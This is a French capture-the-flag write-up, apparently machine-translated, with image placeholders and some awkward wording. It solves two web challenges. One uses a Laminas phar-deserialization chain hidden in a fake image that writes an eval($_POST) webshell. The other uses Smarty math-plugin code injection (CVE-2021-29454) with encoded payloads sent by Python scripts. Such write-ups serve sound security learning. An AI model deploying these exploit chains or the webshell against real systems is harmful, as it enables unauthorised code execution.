Web de la Coupe Hongminggu 2022

Site de fans

Le sujet donnait un indice, et il était lié aux laminas.
insérez la description de l'image ici
Scannez le répertoire pour obtenir le code source.
Le code d'audit a trouvé que le titre a une route d'album et que le contrôleur n'a qu'un seul /module/Album/src/Controller/AlbumController.php

Il contient plusieurs fonctions de traitement, qui peuvent télécharger des fichiers et supprimer des fichiers.
Mais le filtrage des fichiers téléchargés est une liste blanche, il n'est donc pas facile de le contourner.
insérez la description de l'image ici
Et il ne peut pas y avoir de contenu dans le contenu. <? HALT_COMPILER
insérez la description de l'image ici
C'est un peu de l'argenterie ici. Pourquoi filtrer HALT_COMPILER lié à phar sans raison.
La recherche de la vulnérabilité de ce composant sur Internet a trouvé une vulnérabilité de désérialisation https://xz.aliyun.com/t/8975, c'est facile à dire, nous pouvons télécharger un fichier phar, puis supprimer le fichier et déclencher la désérialisation lors de l'appel à unlink. Mais vous devez vous assurer que le contenu est supérieur à 3 Ko, alors ajoutez unstr_repeat('123',1000000)

<?php 

namespace Laminas\View\Resolver{
    
    
	class TemplateMapResolver{
    
    
		protected $map = ["setBody"=>"system"];
	}
}
namespace Laminas\View\Renderer{
    
    
	class PhpRenderer{
    
    
		private $__helpers;
		function __construct(){
    
    
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}


namespace Laminas\Log\Writer{
    
    
	abstract class AbstractWriter{
    
    }
	
	class Mail extends AbstractWriter{
    
    
		protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"];  								//  cmd  cmd cmd
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
    
    
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}

namespace Laminas\Log{
    
    
	class Logger{
    
    
		protected $writers;
		function __construct(){
    
    
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}

namespace{
    
    
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>

La chaîne est sortie et il y avait un problème à résoudre. Contournez <? et __HALT_COMPILER
pour trouver un article en ligne afin de https://www.wangan.com/p/7fygf7a00f0fd793
insérez la description de l'image ici
gzipper le fichier phar généré. Changez ensuite le suffixe en png.
Obtenez le chemin du fichier une fois le téléchargement terminé.
insérez la description de l'image ici
Passez en phar:///var/www/public/img/00bf23e130fa1e525e332ff03dae345d.png où le fichier est supprimé

insérez la description de l'image ici
Une fois l'épée de fourmi connectée, le drapeau est obtenu
insérez la description de l'image ici

Smarty_calculator

Scannez l'arrière-plan pour obtenir le code source
Le nom du titre est le site de test pour cette question, le modèle smarty en php.
Après avoir cherché, j'ai trouvé le cve associé CVE-2021-29454 . Après avoir utilisé les mathématiques dans smarty pour
apprendre une vague, elle peut être calculée en passant {math equation="(( x + y ) / z )" x=2 y=10 z=2}.

Et il y a un fichier connexe src/Smarty/plugins/function.math.php
dans le code source. La fonction eval s'y trouve
insérez la description de l'image ici
. Le sujet du test devrait être la vulnérabilité d'exécution de la commande. Monter, le contenu de l'équation ne peut pas contenir de backticks et $ et Le nombre de parenthèses gauche et droite doit correspondre. En plus de cela, un match régulier est également effectué.
insérez la description de l'image ici
Il n'y a probablement pas d'hexadécimal, pas de lettre au début, sinon, entrez cette boucle foreach.
Il s'agit toujours d'une boucle vers le bas, si la chaîne utilisée dans le contenu entrant n'est pas equation ou format ou assign, un remplacement sera effectué.
Donc, si nous évitons ces deux boucles, nous pouvons épisser le contenu entrant et le mettre en eval.
Il est facile de penser à la lettre rce sans chiffres. De cette façon, il ne sera pas mis en correspondance avec l'expression régulière et une autre boucle peut être contournée (il n'y a pas d'autres lettres et il n'y a qu'une seule valeur de clé dans $param).
Le script sans chiffres ni lettres J'en ai écrit un relativement complet auparavant. https://blog.csdn.net/miuzzx/article/details/109143413Utilisez simplement votre propre script.
En utilisant la construction OR, essayons d'abord phpinfo
insérez la description de l'image ici

import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"

data={
    
    'data':urllib.parse.unquote(''' {math equation="1;('%30%28%30%29%2e%26%2f'|'%40%40%40%40%40%40%40')();//" }''')}

r=requests.post(url,data=data,cookies={
    
    'login':'1'})
print(r.text)

insérez la description de l'image ici
Il y a df, mais il reste un popen, vous pouvez donc utiliser popen pour exécuter des commandes système.
Devinez aveuglément qu'une vague de chemin de drapeau est /flag, exécutez la commande système cp /flag a
, qui consiste à construire une instruction phppopen('cp /f* a','r')
insérez la description de l'image ici

import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"

data={
    
    'data':urllib.parse.unquote(''' {math equation="1;('%30%2f%30%25%2e'|'%40%40%40%40%40')(('%23%30%00%00%26%00%00%21'|'%40%40%20%2f%40%2a%20%40'),('%32'|'%40'));//" }''')}

r=requests.post(url,data=data,cookies={
    
    'login':'1'})
print(r.text)

Visitez /a pour obtenir le drapeau
insérez la description de l'image ici

Je suppose que tu aimes

Origine blog.csdn.net/miuzzx/article/details/123663551
conseillé
Classement